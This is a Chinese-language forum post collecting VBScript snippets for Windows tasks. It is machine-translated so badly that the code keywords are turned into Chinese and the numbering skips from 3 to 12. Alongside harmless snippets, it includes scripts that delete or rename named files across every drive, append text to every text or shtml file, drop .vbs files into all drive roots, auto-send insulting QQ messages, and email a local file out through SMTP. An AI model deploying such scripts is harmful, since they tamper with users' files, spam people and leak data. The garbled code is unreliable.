找到一个简单的vbs代码

个人收藏,给你的。

1.VBS获取路径集

1.1.VBS获取系统安装路径。

程序代码

设置WshShell = WScript。CreateObject("WScript。外壳”)

strWinDir = WshShell。ExpandEnvironmentStrings(“% WinDir %”)

上面的代码意思是定义这个变量先获取系统安装路径,然后我们用“&;strWinDir & amp称这个变量为。

1.2 . c:\程序文件路径

程序代码

msgbox CreateObject("WScript。壳”)。ExpandEnvironmentStrings(" % program files % ")

1.3.c: \程序文件\公共文件路径

程序代码

msgbox CreateObject("WScript。壳”)。ExpandEnvironmentStrings(" % CommonProgramFiles % ")

2.向桌面添加URL快捷方式

程序代码

设置gangzi = WScript。CreateObject("WScript。外壳”)

strDesktop = gangzi。特殊文件夹(“桌面”)

设置oShellLink = gangzi。创建快捷方式(strDesktop & amp" \Internet Explorer.lnk ")

奥谢林克。目标路径= " "

奥谢林克。描述= "Internet Explorer "

奥谢林克。icon location = " % program files % \ Internet Explorer \ ie xplore . exe,0 "

奥谢林克。救援

3.将URL添加到您的收藏夹

程序代码

Const管理工具= 6

set objShell = CreateObject(" Shell。应用”)

Set objFolder = objShell。命名空间(管理工具)

Set objFolderItem = objFolder。自己

Set objShell = WScript。CreateObject("WScript。外壳”)

strDesktopFld = objFolderItem。小路

Set objURLShortcut = objShell。创建快捷方式(strDesktopFld & amp“\小游戏网站。网址”)

objurls捷径。target path = "/CDO/configuration/"

设置Email = CreateObject("CDO。消息”)

电子邮件。From = "Send @qq.com "

电子邮件。To = "Receipt @qq.com "

电子邮件。Subject = "Test sendmail.vbs "

电子邮件。Textbody = "OK!"

电子邮件。AddAttachment "C:\1.txt "

用电子邮件。配置.字段

。项目(名称空间& amp" sendusing") = 2

。项目(名称空间& amp" smtpserver") = "smtp。邮件服务器. com "

。项目(名称空间& amp" smtpserverport") = 25

。项目(名称空间& amp" smtpauthenticate") = 1

。项目(名称空间& amp"发送用户名")= "发送者用户名"

。项目(名称空间& amp" sendpassword") = "发送者密码"

。更新

以…结尾

电子邮件。发送

12.VBS结束了这个过程。

程序代码

strComputer = ","

Set objWMIService = GetObject _

(“winmgmt:\ \ " & amp;strComputer & amp" \root\cimv2 ")

设置colProcessList = objWMIService。ExecQuery _

(“Select * from Win32 _ Process Where Name = ' rar . exe '”)

对于colProcessList中的每个objProcess

objProcess。终止()

然后

13.VBS隐藏并打开了网址。

13.1.有些浏览器不能隐藏,直接打开,适合主流用户。

程序代码

createObject("wscript.shell ")。运行“iexplore”,vbhide

14.VBS遍历硬盘删除指定文件名(下面我加了一个先结束进程再删除的功能,没必要)。

程序代码

出错时继续下一步

模糊路径

strComputer = ","

Set objWMIService = GetObject _

(“winmgmt:\ \ " & amp;strComputer & amp" \root\cimv2 ")

设置colProcessList = objWMIService。ExecQuery _

(“Select * from Win32 _ Process Where Name = ' gangzi . exe '”)

对于colProcessList中的每个objProcess

objProcess。终止()

然后

set objWMIService = GetObject(" winmgmts:" _

& amp“{ impersonation level = impersonate }!\ \ " & ampstrComputer & amp" \root\cimv2 ")

Set colDirs = objWMIService。_

ExecQuery(" Select * from Win32 _ Directory,其中类似名称“%c:%”或类似名称“%d:%”或类似名称“%e:%”或类似名称“%f:%”或类似名称“%g:%”或类似名称“%h:%”或类似名称“%i:%”)

Set objFSO = CreateObject("脚本。文件系统对象”)

对于colDirs中的每个objDir

fPath = objDir。姓名和名称。" \gangzi.exe "

objFSO。删除文件(fPath),True

然后

15.VBS获取网卡的MAC地址。

程序代码

密苏里州Dim mc

Set mc=GetObject("Winmgmts:")。instances of(" Win32 _ NetworkAdapterConfiguration ")

对于mc中的每个维护对象

如果莫。IPEnabled=True Then

MsgBox“本地网卡的MAC地址是”&;莫。MAC地址

为...退出

如果…就会结束

然后

16.VBS获取本地注册中心的家庭地址。

程序代码

Set reg=WScript。CreateObject("WScript。外壳”)

startpage=reg。RegRead(" HKEY _当前_用户\软件\ Microsoft \ Internet Explorer \ Main \起始页")

MsgBox起始页

17.VBS遍历所有磁盘的所有目录,找到所有。txt文件,然后在所有txt文件的底部添加一句话。

程序代码

出错时继续下一步

Set fso = CreateObject("Scripting。文件系统对象”)

Co = VbCrLf &。“路过。。。"

对于fso中的每个I。驱动

如果i.DriveType = 2,则

GF fso。GetFolder(I & amp;"\")

如果…就会结束

然后

子GF(fol)

Wh fol

Dim i

对于每一个我。子文件夹

GF i

然后

末端接头

子仓库

Dim i

对于每一个我。文件

如果LCase(fso。GetExtensionName(i)) = "shtml "

fso。OpenTextFile(i,8,0)。写公司

如果…就会结束

然后

末端接头

18.获取计算机的所有驱动器号

程序代码

set FSO = CreateObject(" scripting . file system object ")

设置objdrives=fso。获取当前计算机的所有磁盘驱动器。

对于objdrives中的每个objdrive,遍历磁盘。

MsgBox objdrive

然后

19.VBS为本机所有磁盘根目录创建文件(刚子原创)

程序代码

出错时继续下一步

Set fso=CreateObject("Scripting。文件系统对象”)

设置gangzis=fso。获取当前计算机的所有磁盘驱动器。

对于gangzi中的每个gangzi,遍历磁盘。

设置TestFile=fso。create textfile(" & amp;刚子& amp" \创建新文件夹。vbs”,真)

测试文件。WriteLine("By www.gangzi.org ")

测试文件。关闭

然后

20.VBS遍历全机找到所有123.exe,然后把它们重命名为321.exe

程序代码

set fs = CreateObject("脚本。文件系统对象”)

对于fs.drives中的每个驱动器

fstraversal drive.rootfolder

然后

子fstraversal(byval this)

对于this.subfolders中的每个文件夹

fstraversal文件夹

然后

set files = this.files

对于文件中的每个文件

如果file.name = "123.exe "那么file.name = "321.exe "

然后

末端接头

21.VBS给粘贴板写代码(首先,VBS给粘贴板写内容,互联网上同样的事情是通过InternetExplorer实现的。应用对象,但缺点是默认浏览器非IE时会弹出浏览器,所以费了好大劲才找到这段代码实现)。

程序代码

Str= "这是要复制到剪贴板的字符串"

set ws = wscript . createobject(" wscript . shell ")

ws . run " mshta VBScript:clipboard data。SetData("+""""+"text"+""""+","+" " " " & amp;str & amp" " " "+" "(关闭)",0,真

22.QQ自动发送消息(你可以通过保存BVS并运行它来查看效果。希望高手能举一反三,随便创造)。

程序代码

出错时继续下一步

Str= "我是傻逼/qq "

设置WshShell=WScript。CreateObject("WScript。外壳”)

wsh shell . run " mshta VBScript:clipboard data。SetData("+""""+"text"+""""+","+" " " " & amp;str & amp" " " "+" "(关闭)",0

wsh shell . run " Tencent://message/?菜单=是& ampuin = 20016964 & amp;Site = & amp服务= 200 & ampsigT = 2 a 39 FB 276d 15586 e 114e 71f 7 af 38 e 195148 b 0369 a 16a 40 fdad 564 ce 185 f 72 e 8 de 86 db 22 c 67 EC 3c 1 ",0

WScript。睡3000

WshShell。仙客来“^v”

WshShell。发送键“%s”

23.VBS隐藏文件

程序代码

Set objFSO = CreateObject("脚本。文件系统对象”)

Set objFile = objFSO。GetFile(" F:\ software contest \ show . txt ")

如果objFile。属性= objFile。属性和2然后

objFile。属性= objFile。属性XOR 2

如果…就会结束

24.VBS生成随机数(521是生成规则,不同的数有不同的规则,可以用于其他用途)。

程序代码

随机化521

point = Array(Int(100 * Rnd+1),Int(1000*Rnd+1),Int(10000*Rnd+1))

msgbox联接(点,"")

25.VBS删除桌面IE图标(不是快捷方式)

程序代码

set OS hell = CreateObject(" WScript。外壳”)

奥谢尔。RegWrite " HKCU \软件\微软\ Windows \当前版本\策略\资源管理器\ NoInternetIcon ",1," REG_DWORD "

26.VBS获得了自己的文件名

程序代码

Set fso = CreateObject("Scripting。文件系统对象”)

msgbox WScript。脚本名